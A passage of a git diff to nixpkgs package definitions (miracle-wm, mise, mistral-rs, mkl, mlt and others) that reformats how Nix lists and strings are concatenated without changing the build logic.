-      "-DMZ_OPENSSL=ON"
-      "-DMZ_BUILD_TESTS=${if finalAttrs.finalPackage.doCheck then "ON" else "OFF"}"
-      "-DMZ_BUILD_UNIT_TESTS=${if finalAttrs.finalPackage.doCheck then "ON" else "OFF"}"
-      "-DMZ_LIB_SUFFIX='-ng'"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # missing header file
-      "-DMZ_LIBCOMP=OFF"
-    ];
+  cmakeFlags = [
+    "-DBUILD_SHARED_LIBS=${if stdenv.hostPlatform.isStatic then "OFF" else "ON"}"
+    "-DMZ_OPENSSL=ON"
+    "-DMZ_BUILD_TESTS=${if finalAttrs.finalPackage.doCheck then "ON" else "OFF"}"
+    "-DMZ_BUILD_UNIT_TESTS=${if finalAttrs.finalPackage.doCheck then "ON" else "OFF"}"
+    "-DMZ_LIB_SUFFIX='-ng'"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # missing header file
+    "-DMZ_LIBCOMP=OFF"
+  ];
 
   NIX_CFLAGS_COMPILE = lib.optionalString stdenv.hostPlatform.isDarwin "-Wno-register";
 
diff --git a/pkgs/by-name/mi/miracle-wm/package.nix b/pkgs/by-name/mi/miracle-wm/package.nix
index 7763154211fa..0c123f512f9a 100644
--- a/pkgs/by-name/mi/miracle-wm/package.nix
+++ b/pkgs/by-name/mi/miracle-wm/package.nix
@@ -39,17 +39,16 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-nmDFmj3DawgjRB0+vlcvPX+kj6lzAu14HySFc2NsJss=";
   };
 
-  postPatch =
-    ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail 'DESTINATION /usr/lib' 'DESTINATION ''${CMAKE_INSTALL_LIBDIR}' \
-        --replace-fail '-march=native' '# -march=native' \
-        --replace-fail '-flto' '# -flto'
-    ''
-    + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail 'add_subdirectory(tests/)' ""
-    '';
+  postPatch = ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'DESTINATION /usr/lib' 'DESTINATION ''${CMAKE_INSTALL_LIBDIR}' \
+      --replace-fail '-march=native' '# -march=native' \
+      --replace-fail '-flto' '# -flto'
+  ''
+  + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'add_subdirectory(tests/)' ""
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/mi/miraclecast/package.nix b/pkgs/by-name/mi/miraclecast/package.nix
index 681a38624963..c255ae5ed211 100644
--- a/pkgs/by-name/mi/miraclecast/package.nix
+++ b/pkgs/by-name/mi/miraclecast/package.nix
@@ -57,14 +57,13 @@ stdenv.mkDerivation {
     wpa_supplicant
   ];
 
-  mesonFlags =
-    [
-      "-Dbuild-tests=true"
-      "-Dip-binary=${iproute2}/bin/ip"
-    ]
-    ++ lib.optionals relyUdev [
-      "-Drely-udev=true"
-    ];
+  mesonFlags = [
+    "-Dbuild-tests=true"
+    "-Dip-binary=${iproute2}/bin/ip"
+  ]
+  ++ lib.optionals relyUdev [
+    "-Drely-udev=true"
+  ];
 
   postPatch = ''
     substituteInPlace res/miracle-gst \
diff --git a/pkgs/by-name/mi/mirakurun/package.nix b/pkgs/by-name/mi/mirakurun/package.nix
index 0ae8bc87856c..3f12eeaa77bc 100644
--- a/pkgs/by-name/mi/mirakurun/package.nix
+++ b/pkgs/by-name/mi/mirakurun/package.nix
@@ -45,7 +45,8 @@ buildNpmPackage rec {
         bash
         nodejs
         which
-      ] ++ lib.optionals stdenv.hostPlatform.isLinux [ v4l-utils ];
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isLinux [ v4l-utils ];
       crc32Patch = replaceVars ./fix-musl-detection.patch {
         isMusl = if stdenv.hostPlatform.isMusl then "true" else "false";
       };
diff --git a/pkgs/by-name/mi/mise/package.nix b/pkgs/by-name/mi/mise/package.nix
index 9eaed863a826..c3265e05d608 100644
--- a/pkgs/by-name/mi/mise/package.nix
+++ b/pkgs/by-name/mi/mise/package.nix
@@ -63,16 +63,15 @@ rustPlatform.buildRustPackage rec {
 
   nativeCheckInputs = [ cacert ];
 
-  checkFlags =
-    [
-      # last_modified will always be different in nix
-      "--skip=tera::tests::test_last_modified"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.system == "x86_64-darwin") [
-      # started failing mid-April 2025
-      "--skip=task::task_file_providers::remote_task_http::tests::test_http_remote_task_get_local_path_with_cache"
-      "--skip=task::task_file_providers::remote_task_http::tests::test_http_remote_task_get_local_path_without_cache"
-    ];
+  checkFlags = [
+    # last_modified will always be different in nix
+    "--skip=tera::tests::test_last_modified"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.system == "x86_64-darwin") [
+    # started failing mid-April 2025
+    "--skip=task::task_file_providers::remote_task_http::tests::test_http_remote_task_get_local_path_with_cache"
+    "--skip=task::task_file_providers::remote_task_http::tests::test_http_remote_task_get_local_path_without_cache"
+  ];
 
   cargoTestFlags = [ "--all-features" ];
   # some tests access the same folders, don't test in parallel to avoid race conditions
diff --git a/pkgs/by-name/mi/misskey/package.nix b/pkgs/by-name/mi/misskey/package.nix
index 87390b5ed6c1..56a3063683f1 100644
--- a/pkgs/by-name/mi/misskey/package.nix
+++ b/pkgs/by-name/mi/misskey/package.nix
@@ -43,7 +43,8 @@ stdenv.mkDerivation (finalAttrs: {
     pnpm_9.configHook
     makeWrapper
     python3
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuild.xcrun ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuild.xcrun ];
 
   # https://nixos.org/manual/nixpkgs/unstable/#javascript-pnpm
   pnpmDeps = pnpm_9.fetchDeps {
diff --git a/pkgs/by-name/mi/mistral-rs/package.nix b/pkgs/by-name/mi/mistral-rs/package.nix
index a3c22e807014..c300e0964d51 100644
--- a/pkgs/by-name/mi/mistral-rs/package.nix
+++ b/pkgs/by-name/mi/mistral-rs/package.nix
@@ -90,66 +90,63 @@ rustPlatform.buildRustPackage (finalAttrs: {
   useFetchCargoVendor = true;
   cargoHash = "sha256-YGGtS8gJJQKIgXxMWjO05ikSVdfVNs+cORbJ+Wf88y4=";
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      python3
-    ]
-    ++ lib.optionals cudaSupport [
-      # WARNING: autoAddDriverRunpath must run AFTER autoPatchelfHook
-      # Otherwise, autoPatchelfHook removes driverLink from RUNPATH
-      autoPatchelfHook
-      autoAddDriverRunpath
+  nativeBuildInputs = [
+    pkg-config
+    python3
+  ]
+  ++ lib.optionals cudaSupport [
+    # WARNING: autoAddDriverRunpath must run AFTER autoPatchelfHook
+    # Otherwise, autoPatchelfHook removes driverLink from RUNPATH
+    autoPatchelfHook
+    autoAddDriverRunpath
 
-      cudaPackages.cuda_nvcc
-    ];
+    cudaPackages.cuda_nvcc
+  ];
 
-  buildInputs =
-    [
-      oniguruma
-      openssl
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_cccl
-      cudaPackages.cuda_cudart
-      cudaPackages.cuda_nvrtc
-      cudaPackages.libcublas
-      cudaPackages.libcurand
-    ]
-    ++ lib.optionals mklSupport [ mkl ];
+  buildInputs = [
+    oniguruma
+    openssl
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_cccl
+    cudaPackages.cuda_cudart
+    cudaPackages.cuda_nvrtc
+    cudaPackages.libcublas
+    cudaPackages.libcurand
+  ]
+  ++ lib.optionals mklSupport [ mkl ];
 
   buildFeatures =
     lib.optionals cudaSupport [ "cuda" ]
     ++ lib.optionals mklSupport [ "mkl" ]
     ++ lib.optionals (hostPlatform.isDarwin && metalSupport) [ "metal" ];
 
-  env =
-    {
-      SWAGGER_UI_DOWNLOAD_URL =
-        let
-          # When updating:
-          # - Look for the version of `utoipa-swagger-ui` at:
-          #   https://github.com/EricLBuehler/mistral.rs/blob/v<MISTRAL-RS-VERSION>/mistralrs-server/Cargo.toml
-          # - Look at the corresponding version of `swagger-ui` at:
-          #   https://github.com/juhaku/utoipa/blob/utoipa-swagger-ui-<UTOPIA-SWAGGER-UI-VERSION>/utoipa-swagger-ui/build.rs#L21-L22
-          swaggerUiVersion = "5.17.12";
+  env = {
+    SWAGGER_UI_DOWNLOAD_URL =
+      let
+        # When updating:
+        # - Look for the version of `utoipa-swagger-ui` at:
+        #   https://github.com/EricLBuehler/mistral.rs/blob/v<MISTRAL-RS-VERSION>/mistralrs-server/Cargo.toml
+        # - Look at the corresponding version of `swagger-ui` at:
+        #   https://github.com/juhaku/utoipa/blob/utoipa-swagger-ui-<UTOPIA-SWAGGER-UI-VERSION>/utoipa-swagger-ui/build.rs#L21-L22
+        swaggerUiVersion = "5.17.12";
 
-          swaggerUi = fetchurl {
-            url = "https://github.com/swagger-api/swagger-ui/archive/refs/tags/v${swaggerUiVersion}.zip";
-            hash = "sha256-HK4z/JI+1yq8BTBJveYXv9bpN/sXru7bn/8g5mf2B/I=";
-          };
-        in
-        "file://${swaggerUi}";
+        swaggerUi = fetchurl {
+          url = "https://github.com/swagger-api/swagger-ui/archive/refs/tags/v${swaggerUiVersion}.zip";
+          hash = "sha256-HK4z/JI+1yq8BTBJveYXv9bpN/sXru7bn/8g5mf2B/I=";
+        };
+      in
+      "file://${swaggerUi}";
 
-      RUSTONIG_SYSTEM_LIBONIG = true;
-    }
-    // (lib.optionalAttrs cudaSupport {
-      CUDA_COMPUTE_CAP = cudaCapability';
+    RUSTONIG_SYSTEM_LIBONIG = true;
+  }
+  // (lib.optionalAttrs cudaSupport {
+    CUDA_COMPUTE_CAP = cudaCapability';
 
-      # We already list CUDA dependencies in buildInputs
-      # We only set CUDA_TOOLKIT_ROOT_DIR to satisfy some redundant checks from upstream
-      CUDA_TOOLKIT_ROOT_DIR = lib.getDev cudaPackages.cuda_cudart;
-    });
+    # We already list CUDA dependencies in buildInputs
+    # We only set CUDA_TOOLKIT_ROOT_DIR to satisfy some redundant checks from upstream
+    CUDA_TOOLKIT_ROOT_DIR = lib.getDev cudaPackages.cuda_cudart;
+  });
 
   appendRunpaths = lib.optionals cudaSupport [
     (lib.makeLibraryPath [
diff --git a/pkgs/by-name/mi/mitm-cache/fetch.nix b/pkgs/by-name/mi/mitm-cache/fetch.nix
index fb8798c43bc2..0136fb54f87b 100644
--- a/pkgs/by-name/mi/mitm-cache/fetch.nix
+++ b/pkgs/by-name/mi/mitm-cache/fetch.nix
@@ -28,36 +28,35 @@ let
       )
     else
       builtins.replaceStrings [ "://" ] [ "/" ] url;
-  code =
-    ''
-      mkdir -p "$out"
-      cd "$out"
-    ''
-    + builtins.concatStringsSep "" (
-      lib.mapAttrsToList (
-        url: info:
-        let
-          key = builtins.head (builtins.attrNames info);
-          val = info.${key};
-          path = urlToPath url;
-          name = baseNameOf path;
-          source =
-            {
-              redirect = "$out/${urlToPath val}";
-              hash = fetchurl {
-                inherit url;
-                hash = val;
-              };
-              text = writeText name val;
-            }
-            .${key} or (throw "Unknown key: ${url}");
-        in
-        ''
-          mkdir -p "${dirOf path}"
-          ln -s "${source}" "${path}"
-        ''
-      ) data'
-    );
+  code = ''
+    mkdir -p "$out"
+    cd "$out"
+  ''
+  + builtins.concatStringsSep "" (
+    lib.mapAttrsToList (
+      url: info:
+      let
+        key = builtins.head (builtins.attrNames info);
+        val = info.${key};
+        path = urlToPath url;
+        name = baseNameOf path;
+        source =
+          {
+            redirect = "$out/${urlToPath val}";
+            hash = fetchurl {
+              inherit url;
+              hash = val;
+            };
+            text = writeText name val;
+          }
+          .${key} or (throw "Unknown key: ${url}");
+      in
+      ''
+        mkdir -p "${dirOf path}"
+        ln -s "${source}" "${path}"
+      ''
+    ) data'
+  );
 in
 runCommand name (
   builtins.removeAttrs attrs [
diff --git a/pkgs/by-name/mj/mjpegtools/package.nix b/pkgs/by-name/mj/mjpegtools/package.nix
index 741a06ee88d5..afdc37a8b839 100644
--- a/pkgs/by-name/mj/mjpegtools/package.nix
+++ b/pkgs/by-name/mj/mjpegtools/package.nix
@@ -40,18 +40,17 @@ stdenv.mkDerivation rec {
   hardeningDisable = [ "format" ];
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      libdv
-      libjpeg
-      libpng
-    ]
-    ++ lib.optionals (!withMinimal) [
-      gtk2
-      libX11
-      SDL
-      SDL_gfx
-    ];
+  buildInputs = [
+    libdv
+    libjpeg
+    libpng
+  ]
+  ++ lib.optionals (!withMinimal) [
+    gtk2
+    libX11
+    SDL
+    SDL_gfx
+  ];
 
   env.NIX_CFLAGS_COMPILE = lib.optionalString (!withMinimal) "-I${lib.getDev SDL}/include/SDL";
 
diff --git a/pkgs/by-name/mk/mkcal/package.nix b/pkgs/by-name/mk/mkcal/package.nix
index f401fb0135e7..22f115c3a5b7 100644
--- a/pkgs/by-name/mk/mkcal/package.nix
+++ b/pkgs/by-name/mk/mkcal/package.nix
@@ -41,18 +41,17 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      extra-cmake-modules
-      doxygen
-      graphviz
-      perl
-      pkg-config
-    ]
-    ++ (with libsForQt5; [
-      wrapQtAppsHook
-    ]);
+  nativeBuildInputs = [
+    cmake
+    extra-cmake-modules
+    doxygen
+    graphviz
+    perl
+    pkg-config
+  ]
+  ++ (with libsForQt5; [
+    wrapQtAppsHook
+  ]);
 
   buildInputs = with libsForQt5; [
     kcalendarcore
diff --git a/pkgs/by-name/mk/mkl/package.nix b/pkgs/by-name/mk/mkl/package.nix
index 9f223473c097..bdac3135da31 100644
--- a/pkgs/by-name/mk/mkl/package.nix
+++ b/pkgs/by-name/mk/mkl/package.nix
@@ -73,17 +73,18 @@ stdenvNoCC.mkDerivation (
 
     sourceRoot = if stdenvNoCC.hostPlatform.isDarwin then "." else null;
 
-    nativeBuildInputs =
-      [ validatePkgConfig ]
-      ++ (
-        if stdenvNoCC.hostPlatform.isDarwin then
-          [
-            _7zz
-            cctools
-          ]
-        else
-          [ rpmextract ]
-      );
+    nativeBuildInputs = [
+      validatePkgConfig
+    ]
+    ++ (
+      if stdenvNoCC.hostPlatform.isDarwin then
+        [
+          _7zz
+          cctools
+        ]
+      else
+        [ rpmextract ]
+    );
 
     buildPhase =
       if stdenvNoCC.hostPlatform.isDarwin then
@@ -104,63 +105,62 @@ stdenvNoCC.mkDerivation (
           rpmextract ${oneapi-tbb}
         '';
 
-    installPhase =
-      ''
-        for f in $(find . -name 'mkl*.pc') ; do
-          bn=$(basename $f)
-          substituteInPlace $f \
-            --replace $\{MKLROOT} "$out" \
-            --replace "lib/intel64" "lib"
+    installPhase = ''
+      for f in $(find . -name 'mkl*.pc') ; do
+        bn=$(basename $f)
+        substituteInPlace $f \
+          --replace $\{MKLROOT} "$out" \
+          --replace "lib/intel64" "lib"
 
-          sed -r -i "s|^prefix=.*|prefix=$out|g" $f
-        done
+        sed -r -i "s|^prefix=.*|prefix=$out|g" $f
+      done
 
-        for f in $(find opt/intel -name 'mkl*iomp.pc') ; do
-          substituteInPlace $f --replace "../compiler/lib" "lib"
-        done
+      for f in $(find opt/intel -name 'mkl*iomp.pc') ; do
+        substituteInPlace $f --replace "../compiler/lib" "lib"
+      done
 
-        # License
-        install -Dm0655 -t $out/share/doc/mkl opt/intel/oneapi/mkl/${mklVersion}/licensing/license.txt
+      # License
+      install -Dm0655 -t $out/share/doc/mkl opt/intel/oneapi/mkl/${mklVersion}/licensing/license.txt
 
-        # Dynamic libraries
-        mkdir -p $out/lib
-        cp -a opt/intel/oneapi/mkl/${mklVersion}/lib/${lib.optionalString stdenvNoCC.hostPlatform.isLinux "intel64"}/*${shlibExt}* $out/lib
-        cp -a opt/intel/oneapi/compiler/${mklVersion}/${
-          if stdenvNoCC.hostPlatform.isDarwin then "mac" else "linux"
-        }/compiler/lib/${lib.optionalString stdenvNoCC.hostPlatform.isLinux "intel64_lin"}/*${shlibExt}* $out/lib
-        cp -a opt/intel/oneapi/tbb/${tbbVersion}/lib/${lib.optionalString stdenvNoCC.hostPlatform.isLinux "intel64/gcc4.8"}/*${shlibExt}* $out/lib
+      # Dynamic libraries
+      mkdir -p $out/lib
+      cp -a opt/intel/oneapi/mkl/${mklVersion}/lib/${lib.optionalString stdenvNoCC.hostPlatform.isLinux "intel64"}/*${shlibExt}* $out/lib
+      cp -a opt/intel/oneapi/compiler/${mklVersion}/${
+        if stdenvNoCC.hostPlatform.isDarwin then "mac" else "linux"
+      }/compiler/lib/${lib.optionalString stdenvNoCC.hostPlatform.isLinux "intel64_lin"}/*${shlibExt}* $out/lib
+      cp -a opt/intel/oneapi/tbb/${tbbVersion}/lib/${lib.optionalString stdenvNoCC.hostPlatform.isLinux "intel64/gcc4.8"}/*${shlibExt}* $out/lib
 
-        # Headers
-        cp -r opt/intel/oneapi/mkl/${mklVersion}/include $out/
+      # Headers
+      cp -r opt/intel/oneapi/mkl/${mklVersion}/include $out/
 
-        # CMake config
-        cp -r opt/intel/oneapi/mkl/${mklVersion}/lib/cmake $out/lib
-      ''
-      + (
-        if enableStatic then
-          ''
-            install -Dm0644 -t $out/lib opt/intel/oneapi/mkl/${mklVersion}/lib/${lib.optionalString stdenvNoCC.hostPlatform.isLinux "intel64"}/*.a
-            install -Dm0644 -t $out/lib/pkgconfig opt/intel/oneapi/mkl/${mklVersion}/lib/pkgconfig/*.pc
-          ''
-        else
-          ''
-            cp opt/intel/oneapi/mkl/${mklVersion}/lib/${lib.optionalString stdenvNoCC.hostPlatform.isLinux "intel64"}/*${shlibExt}* $out/lib
-            install -Dm0644 -t $out/lib/pkgconfig opt/intel/oneapi/mkl/${mklVersion}/lib/pkgconfig/*dynamic*.pc
-          ''
-      )
-      + ''
-        # Setup symlinks for blas / lapack
-        ln -s $out/lib/libmkl_rt${shlibExt} $out/lib/libblas${shlibExt}
-        ln -s $out/lib/libmkl_rt${shlibExt} $out/lib/libcblas${shlibExt}
-        ln -s $out/lib/libmkl_rt${shlibExt} $out/lib/liblapack${shlibExt}
-        ln -s $out/lib/libmkl_rt${shlibExt} $out/lib/liblapacke${shlibExt}
-      ''
-      + lib.optionalString stdenvNoCC.hostPlatform.isLinux ''
-        ln -s $out/lib/libmkl_rt${shlibExt} $out/lib/libblas${shlibExt}".3"
-        ln -s $out/lib/libmkl_rt${shlibExt} $out/lib/libcblas${shlibExt}".3"
-        ln -s $out/lib/libmkl_rt${shlibExt} $out/lib/liblapack${shlibExt}".3"
-        ln -s $out/lib/libmkl_rt${shlibExt} $out/lib/liblapacke${shlibExt}".3"
-      '';
+      # CMake config
+      cp -r opt/intel/oneapi/mkl/${mklVersion}/lib/cmake $out/lib
+    ''
+    + (
+      if enableStatic then
+        ''
+          install -Dm0644 -t $out/lib opt/intel/oneapi/mkl/${mklVersion}/lib/${lib.optionalString stdenvNoCC.hostPlatform.isLinux "intel64"}/*.a
+          install -Dm0644 -t $out/lib/pkgconfig opt/intel/oneapi/mkl/${mklVersion}/lib/pkgconfig/*.pc
+        ''
+      else
+        ''
+          cp opt/intel/oneapi/mkl/${mklVersion}/lib/${lib.optionalString stdenvNoCC.hostPlatform.isLinux "intel64"}/*${shlibExt}* $out/lib
+          install -Dm0644 -t $out/lib/pkgconfig opt/intel/oneapi/mkl/${mklVersion}/lib/pkgconfig/*dynamic*.pc
+        ''
+    )
+    + ''
+      # Setup symlinks for blas / lapack
+      ln -s $out/lib/libmkl_rt${shlibExt} $out/lib/libblas${shlibExt}
+      ln -s $out/lib/libmkl_rt${shlibExt} $out/lib/libcblas${shlibExt}
+      ln -s $out/lib/libmkl_rt${shlibExt} $out/lib/liblapack${shlibExt}
+      ln -s $out/lib/libmkl_rt${shlibExt} $out/lib/liblapacke${shlibExt}
+    ''
+    + lib.optionalString stdenvNoCC.hostPlatform.isLinux ''
+      ln -s $out/lib/libmkl_rt${shlibExt} $out/lib/libblas${shlibExt}".3"
+      ln -s $out/lib/libmkl_rt${shlibExt} $out/lib/libcblas${shlibExt}".3"
+      ln -s $out/lib/libmkl_rt${shlibExt} $out/lib/liblapack${shlibExt}".3"
+      ln -s $out/lib/libmkl_rt${shlibExt} $out/lib/liblapacke${shlibExt}".3"
+    '';
 
     # fixDarwinDylibName fails for libmkl_cdft_core.dylib because the
     # larger updated load commands do not fit. Use install_name_tool
diff --git a/pkgs/by-name/mk/mkp224o/package.nix b/pkgs/by-name/mk/mkp224o/package.nix
index b6d12752d9ad..b28e7ec71b1f 100644
--- a/pkgs/by-name/mk/mkp224o/package.nix
+++ b/pkgs/by-name/mk/mkp224o/package.nix
@@ -21,33 +21,32 @@ stdenv.mkDerivation rec {
     let
       # compile few variants with different implementation of crypto
       # the fastest depends on a particular cpu
-      variants =
-        [
-          {
-            suffix = "ref10";
-            configureFlags = [ "--enable-ref10" ];
-          }
-          {
-            suffix = "donna";
-            configureFlags = [ "--enable-donna" ];
-          }
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isx86 [
-          {
-            suffix = "donna-sse2";
-            configureFlags = [ "--enable-donna-sse2" ];
-          }
-        ]
-        ++ lib.optionals (!stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
-          {
-            suffix = "amd64-51-30k";
-            configureFlags = [ "--enable-amd64-51-30k" ];
-          }
-          {
-            suffix = "amd64-64-24k";
-            configureFlags = [ "--enable-amd64-64-24k" ];
-          }
-        ];
+      variants = [
+        {
+          suffix = "ref10";
+          configureFlags = [ "--enable-ref10" ];
+        }
+        {
+          suffix = "donna";
+          configureFlags = [ "--enable-donna" ];
+        }
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isx86 [
+        {
+          suffix = "donna-sse2";
+          configureFlags = [ "--enable-donna-sse2" ];
+        }
+      ]
+      ++ lib.optionals (!stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
+        {
+          suffix = "amd64-51-30k";
+          configureFlags = [ "--enable-amd64-51-30k" ];
+        }
+        {
+          suffix = "amd64-64-24k";
+          configureFlags = [ "--enable-amd64-64-24k" ];
+        }
+      ];
     in
     lib.concatMapStrings (
       { suffix, configureFlags }:
diff --git a/pkgs/by-name/mk/mktorrent/package.nix b/pkgs/by-name/mk/mktorrent/package.nix
index 4edbb1acab46..451989ddf65b 100644
--- a/pkgs/by-name/mk/mktorrent/package.nix
+++ b/pkgs/by-name/mk/mktorrent/package.nix
@@ -16,14 +16,13 @@ stdenv.mkDerivation rec {
     sha256 = "17pdc5mandl739f8q26n5is8ga56s83aqcrwhlnnplbxwx2inidr";
   };
 
-  makeFlags =
-    [
-      "USE_PTHREADS=1"
-      "USE_OPENSSL=1"
-      "USE_LONG_OPTIONS=1"
-    ]
-    ++ lib.optional stdenv.hostPlatform.isi686 "USE_LARGE_FILES=1"
-    ++ lib.optional stdenv.hostPlatform.isLinux "CFLAGS=-lgcc_s";
+  makeFlags = [
+    "USE_PTHREADS=1"
+    "USE_OPENSSL=1"
+    "USE_LONG_OPTIONS=1"
+  ]
+  ++ lib.optional stdenv.hostPlatform.isi686 "USE_LARGE_FILES=1"
+  ++ lib.optional stdenv.hostPlatform.isLinux "CFLAGS=-lgcc_s";
 
   installFlags = [ "PREFIX=${placeholder "out"}" ];
 
diff --git a/pkgs/by-name/mk/mkvtoolnix/package.nix b/pkgs/by-name/mk/mkvtoolnix/package.nix
index c0ff5eb5cc3b..67453949d564 100644
--- a/pkgs/by-name/mk/mkvtoolnix/package.nix
+++ b/pkgs/by-name/mk/mkvtoolnix/package.nix
@@ -76,32 +76,32 @@ stdenv.mkDerivation (finalAttrs: {
     libxslt
     pkg-config
     rake
-  ] ++ optionals withGUI [ qt6.wrapQtAppsHook ];
+  ]
+  ++ optionals withGUI [ qt6.wrapQtAppsHook ];
 
   # qtbase and qtmultimedia are needed without the GUI
-  buildInputs =
-    [
-      boost
-      expat
-      file
-      flac
-      fmt
-      gmp
-      libdvdread
-      libebml
-      libmatroska
-      libogg
-      libvorbis
-      nlohmann_json
-      pugixml
-      qt6.qtbase
-      qt6.qtmultimedia
-      utf8cpp
-      xdg-utils
-      zlib
-    ]
-    ++ optionals withGUI [ cmark ]
-    ++ optionals stdenv.hostPlatform.isLinux [ qt6.qtwayland ];
+  buildInputs = [
+    boost
+    expat
+    file
+    flac
+    fmt
+    gmp
+    libdvdread
+    libebml
+    libmatroska
+    libogg
+    libvorbis
+    nlohmann_json
+    pugixml
+    qt6.qtbase
+    qt6.qtmultimedia
+    utf8cpp
+    xdg-utils
+    zlib
+  ]
+  ++ optionals withGUI [ cmark ]
+  ++ optionals stdenv.hostPlatform.isLinux [ qt6.qtwayland ];
 
   # autoupdate is not needed but it silences a ton of pointless warnings
   postPatch = ''
diff --git a/pkgs/by-name/ml/mlflow-server/package.nix b/pkgs/by-name/ml/mlflow-server/package.nix
index 82ac934dc888..8155f9b5c0c5 100644
--- a/pkgs/by-name/ml/mlflow-server/package.nix
+++ b/pkgs/by-name/ml/mlflow-server/package.nix
@@ -20,15 +20,13 @@ py.toPythonApplication (
       py.mysqlclient
     ];
 
-    postPatch =
-      (old.postPatch or "")
-      + ''
-        cat mlflow/utils/process.py
+    postPatch = (old.postPatch or "") + ''
+      cat mlflow/utils/process.py
 
-        substituteInPlace mlflow/utils/process.py --replace-fail \
-          "process = subprocess.Popen(" \
-          "cmd[0]='${gunicornScript}'; process = subprocess.Popen("
-      '';
+      substituteInPlace mlflow/utils/process.py --replace-fail \
+        "process = subprocess.Popen(" \
+        "cmd[0]='${gunicornScript}'; process = subprocess.Popen("
+    '';
 
     postInstall = ''
       gpath=$out/bin/gunicornMlflow
diff --git a/pkgs/by-name/ml/mlt/package.nix b/pkgs/by-name/ml/mlt/package.nix
index 9997857befc4..1dc07e2c6170 100644
--- a/pkgs/by-name/ml/mlt/package.nix
+++ b/pkgs/by-name/ml/mlt/package.nix
@@ -55,82 +55,79 @@ stdenv.mkDerivation rec {
     fetchSubmodules = true;
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-      which
-      makeWrapper
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_nvcc
-    ]
-    ++ lib.optionals enablePython [
-      python3
-      swig
-    ]
-    ++ lib.optionals (qt != null) [
-      qt.wrapQtAppsHook
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    which
+    makeWrapper
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_nvcc
+  ]
+  ++ lib.optionals enablePython [
+    python3
+    swig
+  ]
+  ++ lib.optionals (qt != null) [
+    qt.wrapQtAppsHook
+  ];
 
-  buildInputs =
-    [
-      (opencv4.override { inherit ffmpeg; })
-      ffmpeg
-      fftw
-      frei0r
-      libdv
-      libjack2
-      libsamplerate
-      libvorbis
-      libxml2
-      movit
-      rtaudio
-      rubberband
-      sox
-      vid-stab
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_cudart
-    ]
-    ++ lib.optionals enableJackrack [
-      glib
-      ladspa-sdk
-      ladspaPlugins
-    ]
-    ++ lib.optionals (qt != null) [
-      qt.qtbase
-      qt.qtsvg
-      (qt.qt5compat or null)
-      libarchive
-    ]
-    ++ lib.optionals enableSDL1 [
-      SDL
-      libX11
-    ]
-    ++ lib.optionals enableSDL2 [
-      SDL2
-      libX11
-    ];
+  buildInputs = [
+    (opencv4.override { inherit ffmpeg; })
+    ffmpeg
+    fftw
+    frei0r
+    libdv
+    libjack2
+    libsamplerate
+    libvorbis
+    libxml2
+    movit
+    rtaudio
+    rubberband
+    sox
+    vid-stab
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_cudart
+  ]
+  ++ lib.optionals enableJackrack [
+    glib
+    ladspa-sdk
+    ladspaPlugins
+  ]
+  ++ lib.optionals (qt != null) [
+    qt.qtbase
+    qt.qtsvg
+    (qt.qt5compat or null)
+    libarchive
+  ]
+  ++ lib.optionals enableSDL1 [
+    SDL
+    libX11
+  ]
+  ++ lib.optionals enableSDL2 [
+    SDL2
+    libX11
+  ];
 
   outputs = [
     "out"
     "dev"
   ];
 
-  cmakeFlags =
-    [
-      # RPATH of binary /nix/store/.../bin/... contains a forbidden reference to /build/
-      "-DCMAKE_SKIP_BUILD_RPATH=ON"
-      "-DMOD_OPENCV=ON"
-    ]
-    ++ lib.optionals enablePython [
-      "-DSWIG_PYTHON=ON"
-    ]
-    ++ lib.optionals (qt != null) [
-      "-DMOD_QT${lib.versions.major qt.qtbase.version}=ON"
-      "-DMOD_GLAXNIMATE${if lib.versions.major qt.qtbase.version == "5" then "" else "_QT6"}=ON"
-    ];
+  cmakeFlags = [
+    # RPATH of binary /nix/store/.../bin/... contains a forbidden reference to /build/
+    "-DCMAKE_SKIP_BUILD_RPATH=ON"
+    "-DMOD_OPENCV=ON"
+  ]
+  ++ lib.optionals enablePython [
+    "-DSWIG_PYTHON=ON"
+  ]
+  ++ lib.optionals (qt != null) [
+    "-DMOD_QT${lib.versions.major qt.qtbase.version}=ON"
+    "-DMOD_GLAXNIMATE${if lib.versions.major qt.qtbase.version == "5" then "" else "_QT6"}=ON"
+  ];
 
   preFixup = ''
     wrapProgram $out/bin/melt \
diff --git a/pkgs/by-name/ml/mlterm/package.nix b/pkgs/by-name/ml/mlterm/package.nix
index 5e56f2f5b1a4..aad72f74a164 100644
--- a/pkgs/by-name/ml/mlterm/package.nix
+++ b/pkgs/by-name/ml/mlterm/package.nix
@@ -110,58 +110,56 @@ stdenv.mkDerivation (finalAttrs: {
     sha256 = "sha256-YogapVTmW4HAyVgvhR4ZvW4Q6v0kGiW11CCxN6SpPCY=";
   };
 
-  nativeBuildInputs =
